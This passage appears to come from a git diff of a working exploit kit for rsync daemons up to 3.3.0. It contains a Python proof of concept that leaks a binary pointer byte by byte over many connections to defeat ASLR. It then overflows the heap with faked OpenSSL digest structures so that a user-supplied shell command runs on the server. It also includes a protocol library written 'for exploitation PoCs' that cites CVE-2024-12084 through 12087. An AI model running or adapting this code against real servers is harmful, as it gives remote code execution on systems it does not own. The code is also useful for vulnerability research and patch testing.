leak_off_bytes = struct.pack('<Q', LEAK_OFFSET)
hints = {
# sum2[8:16] = high half of a binary pointer
8: [0x00], 9: [0x00], 10: [0x00], 11: [0x00],
12: [0xaa], 13: [0xaa], 14: [0x00], 15: [0x00],
# sum2[16:24] = stack pointer 0x0000_ffff_????_????
# low 4 bytes are ASLR; bytes 20-23 are always ff ff 00 00
20: [0xff], 21: [0xff], 22: [0x00], 23: [0x00],
# sum2[24:32] = base + LEAK_OFFSET. base is page-aligned (low 12 bits = 0),
# so the bottom byte of the leaked ptr equals the bottom byte of LEAK_OFFSET.
# Byte 25 = (LEAK_OFFSET>>8)&0xff XOR'd with whatever base contributes —
# but base bits 12+ are random, so only byte 24 is fully determined.
24: [leak_off_bytes[0]], # low byte of LEAK_OFFSET (page offset)
25: [leak_off_bytes[1]], # likely (only wrong if base bit 12-15 nonzero in this nibble)
28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00],
}
# Default search order: 0x00 first (most common), then 0xff/0xaa, then linear.
default_order = [0x00, 0xff, 0xaa] + [b for b in range(256) if b not in (0x00, 0xff, 0xaa)]
def probe(prefix, guess_byte):
try:
rc = R.connect(url, '31', 'xxh64')
send_args(rc, compress=True)
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
ov = prefix + bytes([guess_byte])
rc.write_raw_int(1); rc.write_raw_int(tgt.size)
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
rc.write_bulk(struct.pack('<I', s1) + ov)
rc.read_ndx(); rc.read_short_int()
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
sig, _ = rc.receive_deflate_token(); rc.close()
return guess_byte if sig < 0 else None
except Exception:
return None
tries = 0
pool = ThreadPoolExecutor(max_workers=16)
for j in range(LEAK_BYTES):
pos = 8 + j
prefix = bytes(s2) # snapshot
# Try hint values serially first (usually 1 connection)
hint_vals = hints.get(pos, [])
found = None
for h in hint_vals:
tries += 1
if probe(prefix, h) is not None:
found = h; break
# If no hint hit, fan out the remaining 256-len(hints) values in parallel
if found is None:
remaining = [b for b in default_order if b not in hint_vals]
futures = {pool.submit(probe, prefix, b): b for b in remaining}
tries += len(remaining)
for fut in as_completed(futures):
r = fut.result()
if r is not None:
found = r
# Cancel still-pending futures (best-effort; running ones finish)
for f in futures: f.cancel()
break
if found is None:
pool.shutdown(wait=False)
raise RuntimeError(f"leak failed at byte {pos} — stack unstable?")
print(f" sum2[{pos}] = 0x{found:02x} ({tries} total connections)")
s2 += bytes([found])
pool.shutdown(wait=True)
# Pointer is in the LAST 8 bytes leaked (sum2[24:32] for LEAK_BYTES=24)
ptr = struct.unpack('<Q', s2[8+LEAK_BYTES-8:8+LEAK_BYTES])[0]
base = ptr - LEAK_OFFSET
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
print(f"[+] Binary base : 0x{base:x}")
return base, s1, tgt, ti
# ═══════════════════════════════════════════════════════════
# Phase 2 — Heap Overflow → RCE (Phrack approach)
# ═══════════════════════════════════════════════════════════
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
"""
Single-connection overflow following the Phrack "one-shot" approach:
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
payload size, then write a CONTIGUOUS payload in a single read_buf
call directly to .bss:
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
"""
shell_exec = base + SHELL_EXEC_OFFSET
ctx_evp = base + CTX_EVP_OFFSET
print(f"\n[*] Phase 2: heap overflow → RCE")
print(f" shell_exec = 0x{shell_exec:x}")
print(f" ctx_evp = 0x{ctx_evp:x}")
# ── Build the contiguous .bss payload (ARM64 layout) ─────────
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length).
#
# Layout (offsets from &ctx_evp):
# 0x000: ctx_evp value → points to fake_ctx (at +8)
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48), ends at +0x50
# +0x08: digest → fake EVP_MD (at +0xa0)
# +0x18: flags = 0x400 (so pctx-cleanup path is skipped)
# +0x28: pctx = NULL (so pctx-validation path is skipped)
# +0x38: algctx → cmd string (at +0x58)
# 0x058: command string + null (inside ctx_md struct, max 56B)
# *** CANNOT use +0x108: match_sums zeroes last_match @ +0x110! ***
# 0x090: xfer_sum_nni (PRESERVE — sum_init reads this as nni arg)
# 0x0a0: fake EVP_MD
# +0xb0: freectx = shell_exec (absolute payload offset: 0x150)
#
# The fake_evp_md+0x40 slot (= payload +0xe0) overlaps cur_sum_len which
# sum_init writes (=20) BEFORE the trigger fires. That field is the
# legacy "cleanup" callback in EVP_MD; it gets called AFTER shell_exec
# returns (causing a crash) but by then the command has already run.
fake_ctx_off = 8
cmd_off = 0x58 # safe: inside ctx_md, untouched on EVP path
fake_evp_md_off = 0xa0 # after the +0x90 xfer_sum_nni preserve
freectx_off = fake_evp_md_off + 0xb0 # = 0x150
cmd_bytes = command.encode('latin-1') + b'\x00'
if len(cmd_bytes) > 0x90 - cmd_off:
raise ValueError(f"command too long: {len(cmd_bytes)} > {0x90-cmd_off} bytes")
payload_size = freectx_off + 8
fake_ctx_addr = ctx_evp + fake_ctx_off
fake_evp_md_addr = ctx_evp + fake_evp_md_off
cmd_addr = ctx_evp + cmd_off
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
payload = bytearray(payload_size)
# ctx_evp pointer → fake_ctx
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
# fake EVP_MD_CTX fields (at +8)
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
# command string (inside ctx_md region, before xfer_sum_nni)
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
# Preserve xfer_sum_nni at +0x90 (arm64 .bss layout)
struct.pack_into('<Q', payload, 0x90, xfer_sum_nni)
# fake EVP_MD: only freectx at +0xb0 matters
struct.pack_into('<Q', payload, freectx_off, shell_exec)
print(f" payload = {payload_size} bytes at &ctx_evp")
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
# ── Overflow: redirect sums + set s2length = payload_size ──
groom_count = 5
n_extra = 1 # just ONE extra entry
s2len_initial = 64
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
overflow_payload = bytearray(s2len_initial)
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
off = 26
struct.pack_into('<Q', overflow_payload, off, 0) # flength
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
# ── Connect and send ─────────────────────────────────
rc = R.connect(url, '31', 'sha1')
send_args(rc, compress=True)
# Tcache defragmentation: fill all bins so allocations come from wilderness
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
for _ in range(TCACHE_SLOTS * 2):
rc.write_line('-M-' + 'A' * (sz - 2))
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol()
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
# sums(200B) giving us an 8-byte gap (chunk header only).
# NOTE: on arm64 glibc 2.36 (Debian 12), malloc(2) → 32B chunk (same as
# x86-64 glibc 2.35). The second "+ a" filter creates an extra chunk in
# the gap. ONE filter only gives the correct diff=8 layout.
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
rc.write_raw_int(2); rc.write_line('!')
rc.write_raw_int(0)
files = rc.read_file_list()
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
print(f" target ndx={ndx} file={files[ndx].name}")
rc.write_ndx(ndx)
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
# ── Send sum head (for the initial grooming entries) ──
rc.write_raw_int(groom_count) # count = 5
rc.write_raw_int(1337) # blength
rc.write_raw_int(s2len_initial) # s2length = 64
rc.write_raw_int(0) # remainder
# ── Send grooming entries (all use the same overflow payload) ──
bulk = bytearray()
for j in range(groom_count):
bulk += struct.pack('<I', 0) # sum1 (don't care)
bulk += bytes(overflow_payload) # 64 bytes of sum2
rc.write_bulk(bytes(bulk))
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
ext_bulk = struct.pack('<I', 0) + bytes(payload)
rc.write_bulk(bytes(ext_bulk))
print(f" overflow complete, consuming server output...")
# ── Consume server output to unblock the trigger ─────
# After receive_sums, the server enters match_sums → hash_search →
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
#
# We must read the server's echo (ndx + sum_head) so it doesn't
# block on write().
rc.sock.settimeout(10.0)
try:
# Read NDX echo + iflags
rc.read_ndx()
rc.read_short_int()
print(f" read ndx echo OK")
# Read sum head echo (count, blength, s2length, remainder)
echo_count = rc.read_int()
echo_bl = rc.read_int()
echo_s2 = rc.read_int()
echo_rem = rc.read_int()
print(f" sum head echo: count={echo_count} bl={echo_bl} "
f"s2={echo_s2} rem={echo_rem}")
# The server now enters match_sums → sum_init → trigger.
# shell_exec forks+exec's the command, then returns.
# Wait for any output or connection close.
time.sleep(3)
try:
while True:
d = rc.sock.recv(4096)
if not d:
break
except:
pass
except Exception as e:
print(f" server connection ended: {e}")
try:
rc.close()
except:
pass
time.sleep(1)
print(f"[+] Payload delivered — check if command executed.")
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
sys.exit(1)
url, command = sys.argv[1], sys.argv[2]
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
if __name__ == '__main__':
main()
+895
View File
@@ -0,0 +1,895 @@
#!/usr/bin/env python3
"""
Rsync protocol library for exploitation PoCs.
Targets rsync <= 3.3.0 (protocol version 31).
CVE-2024-12084 (heap overflow), CVE-2024-12085 (info leak),
CVE-2024-12086 (file read), CVE-2024-12087 (file write).
"""
import struct
import socket
import os
import ctypes
import subprocess
import functools
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
MPLEX_BASE = 7
MSG_DATA = 0
MSG_DELETE = 101
MSG_EXIT = 86
TAG_SHIFT = 24
NDX_DONE = -1
ITEM_TRANSFER_FLAG = 1 << 15
ITEM_BASIS_TYPE_FOLLOWS = 1 << 11
ITEM_XNAME_FOLLOWS = 1 << 12
FNAMECMP_FNAME = 0x80
FNAMECMP_FUZZY = 0x83
S_IFMT = 0o170000
S_IFDIR = 0o040000
S_IFREG = 0o100000
S_IFLNK = 0o120000
XMIT_SAME_MODE = 1 << 1
XMIT_SAME_NAME = 1 << 5
XMIT_LONG_NAME = 1 << 6
XMIT_SAME_TIME = 1 << 7
XMIT_HLINKED = 1 << 9
XMIT_HLINKED_FIRST = 1 << 12
XMIT_MOD_NSEC = 1 << 13
CHUNK_SIZE = 32 * 1024
# Deflate token constants
DEFLATED_DATA = 0x40
TOKEN_REL = 0x80
# Receive deflate states
R_INIT, R_IDLE, R_RUNNING, R_INFLATING, R_INFLATED = range(5)
# Varint extra-byte lookup table (from rsync io.c)
INT_BYTE_EXTRA = [
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
2,2,2,2,2,2,2,2,3,3,3,3,4,4,5,6,
]
# NDX prev-pointer indices
_PREV_NEGATIVE = 0
_PREV_POSITIVE = 1
# ---------------------------------------------------------------------------
# Utility functions
# ---------------------------------------------------------------------------
def is_dir(mode):
return (mode & S_IFMT) == S_IFDIR
def is_reg(mode):
return (mode & S_IFMT) == S_IFREG
def is_symlink(mode):
return (mode & S_IFMT) == S_IFLNK
def adler32_rsync(data):
"""Rsync's custom Adler32 checksum (differs from zlib's)."""
s1 = 0
s2 = 0
i = 0
n = len(data)
while i < n - 3:
s2 += (4 * (s1 + data[i]) + 3 * data[i+1] +
2 * data[i+2] + data[i+3])
s1 += data[i] + data[i+1] + data[i+2] + data[i+3]
s1 &= 0xFFFFFFFF
s2 &= 0xFFFFFFFF
i += 4
while i < n:
s1 += data[i]
s2 += s1
s1 &= 0xFFFFFFFF
s2 &= 0xFFFFFFFF
i += 1
return ((s1 & 0xFFFF) + (s2 << 16)) & 0xFFFFFFFF
def filepath_dir(path):
"""Match Go's filepath.Dir behavior."""
d = os.path.dirname(path)
return d if d else '.'
def filepath_base(path):
"""Match Go's filepath.Base behavior."""
while path.endswith('/') and len(path) > 1:
path = path[:-1]
b = os.path.basename(path)
return b if b else '.'
# ---------------------------------------------------------------------------
# f_name_cmp (ctypes wrapper around the C implementation)
# ---------------------------------------------------------------------------
def _load_fnamecmp():
"""Try to load or build the f_name_cmp shared library."""
lib_dir = os.path.dirname(os.path.abspath(__file__))
lib_path = os.path.join(lib_dir, 'libfnamecmp.so')
src_path = os.path.join(lib_dir, 'pkg', 'client', 'native_funcs.c')
if not os.path.exists(lib_path) and os.path.exists(src_path):
try:
subprocess.check_call(
['gcc', '-shared', '-fPIC', '-o', lib_path, src_path],
stderr=subprocess.DEVNULL)
except Exception:
return None
if os.path.exists(lib_path):
lib = ctypes.CDLL(lib_path)
lib.f_name_cmp.argtypes = [
ctypes.c_char_p, ctypes.c_char_p,
ctypes.c_char_p, ctypes.c_char_p,
ctypes.c_int, ctypes.c_int, ctypes.c_int,
]
lib.f_name_cmp.restype = ctypes.c_int
return lib
return None
_fnamecmp_lib = _load_fnamecmp()
def f_name_cmp(name1, name2, mode1, mode2, protocol_version=31):
"""Compare two file names the way rsync sorts its file lists."""
if _fnamecmp_lib is not None:
return _fnamecmp_lib.f_name_cmp(
filepath_dir(name1).encode(), filepath_dir(name2).encode(),
filepath_base(name1).encode(), filepath_base(name2).encode(),
int(mode1), int(mode2), protocol_version)
return _f_name_cmp_py(name1, name2, mode1, mode2, protocol_version)
def _f_name_cmp_py(name1, name2, mode1, mode2, pv=31):
"""Pure-Python fallback for f_name_cmp (faithful port of flist.c)."""
_S_DIR, _S_SLASH, _S_BASE, _S_TRAILING = 0, 1, 2, 3
_T_PATH, _T_ITEM = 0, 1
_t_path = _T_PATH if pv >= 29 else _T_ITEM
d1, d2 = filepath_dir(name1), filepath_dir(name2)
b1, b2 = filepath_base(name1), filepath_base(name2)
def ch(s, i):
return s[i] if i < len(s) else '\0'
c1s, c1i, st1, ty1 = d1, 0, _S_DIR, _t_path
c2s, c2i, st2, ty2 = d2, 0, _S_DIR, _t_path
if ty1 != ty2:
return 1 if ty1 == _T_PATH else -1
while True:
# --- handle end of c1 ---
if ch(c1s, c1i) == '\0':
if st1 == _S_DIR:
st1, c1s, c1i = _S_SLASH, "/", 0
elif st1 == _S_SLASH:
ty1 = _t_path if is_dir(mode1) else _T_ITEM
c1s, c1i = b1, 0
if ty1 == _T_PATH and b1 == ".":
ty1, st1, c1s, c1i = _T_ITEM, _S_TRAILING, "", 0
else:
st1 = _S_BASE
elif st1 == _S_BASE:
st1 = _S_TRAILING
if ty1 == _T_PATH:
c1s, c1i = "/", 0
else:
ty1 = _T_ITEM
else: # S_TRAILING
ty1 = _T_ITEM
if ch(c2s, c2i) != '\0' and ty1 != ty2:
return 1 if ty1 == _T_PATH else -1
# --- handle end of c2 ---
if ch(c2s, c2i) == '\0':
if st2 == _S_DIR:
st2, c2s, c2i = _S_SLASH, "/", 0
elif st2 == _S_SLASH:
ty2 = _t_path if is_dir(mode2) else _T_ITEM
c2s, c2i = b2, 0
if ty2 == _T_PATH and b2 == ".":
ty2, st2, c2s, c2i = _T_ITEM, _S_TRAILING, "", 0
else:
st2 = _S_BASE
elif st2 == _S_BASE:
st2 = _S_TRAILING
if ty2 == _T_PATH:
c2s, c2i = "/", 0
else:
if ch(c1s, c1i) == '\0':
return 0
ty2 = _T_ITEM
else: # S_TRAILING
if ch(c1s, c1i) == '\0':
return 0
ty2 = _T_ITEM
if ty1 != ty2:
return 1 if ty1 == _T_PATH else -1
# --- compare and advance ---
v1 = ord(ch(c1s, c1i)) if ch(c1s, c1i) != '\0' else 0
v2 = ord(ch(c2s, c2i)) if ch(c2s, c2i) != '\0' else 0
c1i += 1
c2i += 1
d = v1 - v2
if d != 0:
return d
if v1 == 0:
return 0
# ---------------------------------------------------------------------------
# Standalone encoding helpers (used by poc_fileread's raw server)
# ---------------------------------------------------------------------------
def make_msg_data(data, tag=MSG_DATA):
"""Wrap *data* in a multiplexed message with the given tag."""
tl = ((tag + MPLEX_BASE) << TAG_SHIFT) | len(data)
return struct.pack('<I', tl) + data
def encode_var_int_bytes(num):
"""Encode a varint to bytes (standalone, no connection)."""
buf = bytearray(5)
struct.pack_into('<I', buf, 1, num & 0xFFFFFFFF)
cnt = 4
while cnt > 1 and buf[cnt] == 0:
cnt -= 1
bit = 1 << (8 - cnt)
if buf[cnt] >= bit:
cnt += 1
buf[0] = (~(bit - 1)) & 0xFF
elif cnt > 1:
buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF)
else:
buf[0] = buf[1]
return bytes(buf[:cnt])
# ---------------------------------------------------------------------------
# RsyncConnection
# ---------------------------------------------------------------------------
class RsyncConnection:
"""Bidirectional rsync protocol handler over a TCP socket."""
def __init__(self, sock, protocol_version=31, module='',
digest='', digest_len=0):
self.sock = sock
self.protocol_version = protocol_version
self.module = module
self.digest = digest
self.digest_len = digest_len
self.out_multiplexed = False
self.in_multiplexed = False
self._inbuf = b''
self.prev_positive_outbound = -1
self.prev_negative_outbound = -1
self.prev_positive_inbound = -1
self.prev_negative_inbound = -1
self.residue = 0
# deflate token state
self._recv_state = R_INIT
self._rx_token = 0
self._saved_flag = 0
def close(self):
try:
self.sock.close()
except Exception:
pass
# --- low-level socket helpers ---
def _recv_exact(self, n):
buf = b''
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise ConnectionError("connection closed")
buf += chunk
return buf
# --- read / write with multiplexing ---
def read(self, n):
if not self.in_multiplexed:
return self._recv_exact(n)
if len(self._inbuf) >= n:
data, self._inbuf = self._inbuf[:n], self._inbuf[n:]
return data
saved = True
self.in_multiplexed = False
while True:
raw_tag = self.read_int()
msg_tag = ((raw_tag >> TAG_SHIFT) - MPLEX_BASE)
msg_bytes = raw_tag & 0xFFFFFF
if msg_bytes == 0:
continue
if msg_tag == MSG_DATA:
self._inbuf += self._recv_exact(msg_bytes)
if len(self._inbuf) >= n:
data, self._inbuf = self._inbuf[:n], self._inbuf[n:]
break
else:
self._recv_exact(msg_bytes) # consume non-data
self.in_multiplexed = saved
return data
def write(self, data):
if not self.out_multiplexed:
self.sock.sendall(data)
return
self.out_multiplexed = False
self._write_msg_data(data)
self.out_multiplexed = True
def _write_msg_data(self, data):
if len(data) > 0xFFFFFF:
raise ValueError(f"data too long: {len(data)}")
tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(data)
self.write_raw_int(tag)
self.sock.sendall(data)
def write_bulk(self, data):
"""Write a pre-built bytes blob as a single multiplexed MSG_DATA.
Use this to avoid thousands of tiny syscalls when sending large
payloads (e.g. checksum arrays)."""
if not self.out_multiplexed:
self.sock.sendall(data)
return
# Split into <=16 MB chunks (MSG_DATA length limit is 0xFFFFFF)
off = 0
while off < len(data):
chunk = data[off:off + 0xFFFFFF]
tag = ((MSG_DATA + MPLEX_BASE) << TAG_SHIFT) | len(chunk)
hdr = struct.pack('<I', tag)
self.sock.sendall(hdr + chunk)
off += len(chunk)
# --- scalar read/write ---
def read_byte(self):
return self.read(1)[0]
def write_byte(self, b):
self.write(bytes([b & 0xFF]))
def read_int(self):
return struct.unpack('<I', self.read(4))[0]
def write_raw_int(self, v):
self.write(struct.pack('<I', v & 0xFFFFFFFF))
def write_raw_int64(self, v):
self.write(struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF))
def read_short_int(self):
return struct.unpack('<H', self.read(2))[0]
def write_short_int(self, v):
self.write(struct.pack('<H', v & 0xFFFF))
# --- variable-length integer ---
def read_var_int(self):
ch = self.read_byte()
extra = INT_BYTE_EXTRA[ch // 4]
buf = bytearray(5)
if extra > 0:
bit = 1 << (8 - extra)
for i in range(extra):
buf[i] = self.read_byte()
buf[extra] = ch & (bit - 1)
else:
buf[0] = ch
return struct.unpack_from('<I', buf, 0)[0]
def write_var_int(self, num):
buf = bytearray(5)
struct.pack_into('<I', buf, 1, num & 0xFFFFFFFF)
cnt = 4
while cnt > 1 and buf[cnt] == 0:
cnt -= 1
bit = 1 << (8 - cnt)
if buf[cnt] >= bit:
cnt += 1
buf[0] = (~(bit - 1)) & 0xFF
elif cnt > 1:
buf[0] = buf[cnt] | ((~(bit * 2 - 1)) & 0xFF)
else:
buf[0] = buf[1]
self.write(bytes(buf[:cnt]))
# --- variable-length long ---
def read_var_long(self, min_bytes):
b = bytearray(9)
b2 = bytearray(8)
raw = self.read(min_bytes)
for i in range(min_bytes):
b2[i] = raw[i]
for i in range(min_bytes - 1):
b[i] = b2[i + 1]
extra = INT_BYTE_EXTRA[b2[0] // 4]
if extra > 0:
bit = 1 << (8 - extra)
ext = self.read(extra)
for i in range(extra):
b[min_bytes - 1 + i] = ext[i]
b[min_bytes + extra - 1] = b2[0] & (bit - 1)
else:
b[min_bytes + extra - 1] = b2[0]
return struct.unpack_from('<q', bytes(b[:8]), 0)[0]
def read_var_long30(self, min_bytes):
if self.protocol_version < 30:
return self.read_long_int()
return self.read_var_long(min_bytes)
def read_varint30(self):
if self.protocol_version < 30:
return self.read_int()
return self.read_var_int()
def read_long_int(self):
v = self.read_int()
if v != 0xFFFFFFFF:
return v
return struct.unpack('<Q', self.read(8))[0]
# --- variable-length string ---
def read_vstring(self):
b = self.read_byte()
length = b
if length & 0x80:
b2 = self.read_byte()
length = (length & 0x7F) * 0x100 + b2
return self.read(length).decode('latin-1')
def write_vstring(self, s):
data = s.encode('latin-1')
slen = len(data)
hdr = bytearray()
if slen > 0x7F:
hdr.append((slen // 0x100) + 0x80)
hdr.append(slen & 0xFF)
self.write(bytes(hdr) + data)
# --- NDX (byte-reduced index) ---
def _get_prev_inbound(self, ptr):
if ptr == _PREV_POSITIVE:
return self.prev_positive_inbound
return self.prev_negative_inbound
def _set_prev_inbound(self, ptr, val):
if ptr == _PREV_POSITIVE:
self.prev_positive_inbound = val
else:
self.prev_negative_inbound = val
def write_ndx(self, ndx):
if self.protocol_version < 30:
return self.write_raw_int(ndx)
b = bytearray(6)
cnt = 0
if ndx >= 0:
diff = ndx - self.prev_positive_outbound
self.prev_positive_outbound = ndx
elif ndx == NDX_DONE:
return self.write_byte(0)
else:
b[cnt] = 0xFF; cnt += 1
ndx = -ndx
diff = ndx - self.prev_negative_outbound
self.prev_negative_outbound = ndx
if 0 < diff < 0xFE:
b[cnt] = diff & 0xFF; cnt += 1
elif diff < 0 or diff > 0x7FFF:
b[cnt] = 0xFE; cnt += 1
b[cnt] = ((ndx >> 24) & 0xFF) | 0x80; cnt += 1
b[cnt] = ndx & 0xFF; cnt += 1
b[cnt] = (ndx >> 8) & 0xFF; cnt += 1
b[cnt] = (ndx >> 16) & 0xFF; cnt += 1
else:
b[cnt] = 0xFE; cnt += 1
b[cnt] = (diff >> 8) & 0xFF; cnt += 1
b[cnt] = diff & 0xFF; cnt += 1
self.write(bytes(b[:cnt]))
def read_ndx(self):
if self.protocol_version < 30:
return self.read_int()
b = self.read_byte()
if b == 0xFF:
b = self.read_byte()
prev_ptr = _PREV_NEGATIVE
elif b == 0:
return NDX_DONE
else:
prev_ptr = _PREV_POSITIVE
if b == 0xFE:
b0 = self.read_byte()
b1 = self.read_byte()
if b0 & 0x80:
buf = bytearray(4)
buf[3] = b0 & 0x80
buf[0] = b1
buf[1] = self.read_byte()
buf[2] = self.read_byte()
num = struct.unpack_from('<I', buf, 0)[0]
else:
num = (b0 << 8) + b1 + self._get_prev_inbound(prev_ptr)
else:
num = b + self._get_prev_inbound(prev_ptr)
self._set_prev_inbound(prev_ptr, num)
if prev_ptr == _PREV_NEGATIVE:
num = -num
return num
# --- line-oriented I/O ---
def read_line(self):
result = []
while True:
ch = self.read(1)
if ch in (b'\n', b'\x00'):
break
result.append(ch)
return b''.join(result).decode('latin-1')
def write_line(self, line):
"""Null-terminated line (argument phase)."""
self.write(line.encode('latin-1') + b'\x00')
def write_line_old(self, line):
"""Newline-terminated line (greeting phase)."""
self.write(line.encode('latin-1') + b'\n')
def write_sbuf(self, s):
self.write(s.encode('latin-1'))
# --- multiplexing control ---
def enable_multiplex_outbound(self):
self.out_multiplexed = True
def enable_multiplex_inbound(self):
self.in_multiplexed = True
# --- special messages ---
def send_exit_message(self):
saved = self.out_multiplexed
self.out_multiplexed = False
tag = ((MSG_EXIT + MPLEX_BASE) << TAG_SHIFT)
self.write_raw_int(tag)
self.out_multiplexed = saved
# --- token I/O ---
def receive_token(self):
"""Receive a single uncompressed token. Returns (signal, data)."""
if self.residue == 0:
raw = self.read_int()
token = struct.unpack('<i', struct.pack('<I', raw))[0]
if token <= 0:
return raw, b''
self.residue = raw
n = min(self.residue, CHUNK_SIZE)
self.residue -= n
return n, self.read(n)
def send_token(self, buf):
"""Send uncompressed file data."""
sent = 0
total = len(buf)
while sent < total:
n = min(CHUNK_SIZE, total - sent)
self.write_raw_int(n)
self.write(buf[sent:sent+n])
sent += n
self.write_raw_int(0)
def receive_deflate_token(self):
"""Receive a token from a zlib-compressed stream. Returns (signal, data)."""
while True:
if self._recv_state == R_INIT:
self._recv_state = R_IDLE
self._rx_token = 0
if self._recv_state in (R_IDLE, R_INFLATED):
if self._saved_flag:
flag = self._saved_flag & 0xFF
self._saved_flag = 0
else:
flag = self.read_byte()
if (flag & 0xC0) == DEFLATED_DATA:
flag_length = (flag & 0x3F) << 8
flag_length += self.read_byte()
self.read(flag_length) # consume compressed bytes
self._recv_state = R_INFLATING
return 1, b'' # positive signal = server sent data
if flag == 0:
self._recv_state = R_INIT
return 0, b''
if flag & TOKEN_REL:
self._rx_token += flag & 0x3F
flag >>= 6
else:
self._rx_token = self.read_int()
return -1 - self._rx_token, b''
# --- protocol setup (client side) ---
def setup_protocol(self):
"""Exchange compat flags, digest negotiation, and seed."""
self.read_var_int() # compat flags
self.read_vstring() # server digest list
self.write_vstring(self.digest) # our choice
self.read_int() # checksum seed
self.in_multiplexed = True
self.out_multiplexed = True
# --- file list (client side, receiving from server) ---
def read_file_list(self):
"""Read and sort a file list from the server."""
prev_mode = 0
lastname = ''
result = []
while True:
flags = self.read_var_int()
if flags == 0:
err_code = self.read_var_int()
if err_code:
raise RuntimeError(f"server error in file list: {err_code}")
break
l1 = 0
if flags & XMIT_SAME_NAME:
l1 = self.read_byte()
if flags & XMIT_LONG_NAME:
l2 = self.read_varint30()
else:
l2 = self.read_byte()
name_bytes = self.read(l2)
name = lastname[:l1] + name_bytes.decode('latin-1')
lastname = name
if (self.protocol_version >= 30 and
(flags & (XMIT_HLINKED | XMIT_HLINKED_FIRST)) == XMIT_HLINKED):
self.read_var_int()
file_length = self.read_var_long30(3)
if not (flags & XMIT_SAME_TIME):
if self.protocol_version >= 30:
self.read_var_long30(4)
else:
self.read_int()
if flags & XMIT_MOD_NSEC:
self.read_var_int()
mode = prev_mode
if not (flags & XMIT_SAME_MODE):
mode = self.read_int()
prev_mode = mode
digest = None
if is_reg(mode):
digest = self.read(self.digest_len)
if is_reg(mode) or is_dir(mode):
result.append(File(name=name, size=file_length,
mode=mode, digest=digest))
if len(result) <= 1:
raise RuntimeError("No files on server or got recursive list")
result.sort(key=functools.cmp_to_key(
lambda a, b: f_name_cmp(a.name, b.name, a.mode, b.mode,
self.protocol_version)))
return result
# --- download a single file ---
def download_file(self, file_ndx, file_entry):
"""Download a file and return its contents."""
self.write_ndx(file_ndx)
self.write_short_int(ITEM_TRANSFER_FLAG)
# sum head: count=0, blength=filesize, s2length=digestlen, remainder=5
self.write_raw_int(0)
self.write_raw_int(file_entry.size)
self.write_raw_int(self.digest_len)
self.write_raw_int(5)
# read echo
self.read_ndx()
self.read_short_int()
self.read_int() # count
self.read_int() # blength
self.read_int() # s2length
self.read_int() # remainder
# receive tokens
result = bytearray()
while True:
n, buf = self.receive_token()
sn = struct.unpack('<i', struct.pack('<I', n & 0xFFFFFFFF))[0]
if sn <= 0:
break
result.extend(buf)
# verify digest
got_digest = self.read(self.digest_len)
if got_digest != file_entry.digest:
raise RuntimeError(f"digest mismatch for {file_entry.name}")
return bytes(result)
# ---------------------------------------------------------------------------
# Factory functions
# ---------------------------------------------------------------------------
def _get_digest_len(digest):
d = digest.lower()
if d == 'xxh64':
return 8
if d == 'sha1':
return 20
raise ValueError(f"unknown digest: {digest}")
def connect(url, protocol_version='31', digest='xxh64'):
"""Connect to an rsync daemon. url = rsync://host:port/module"""
if not url.startswith('rsync://'):
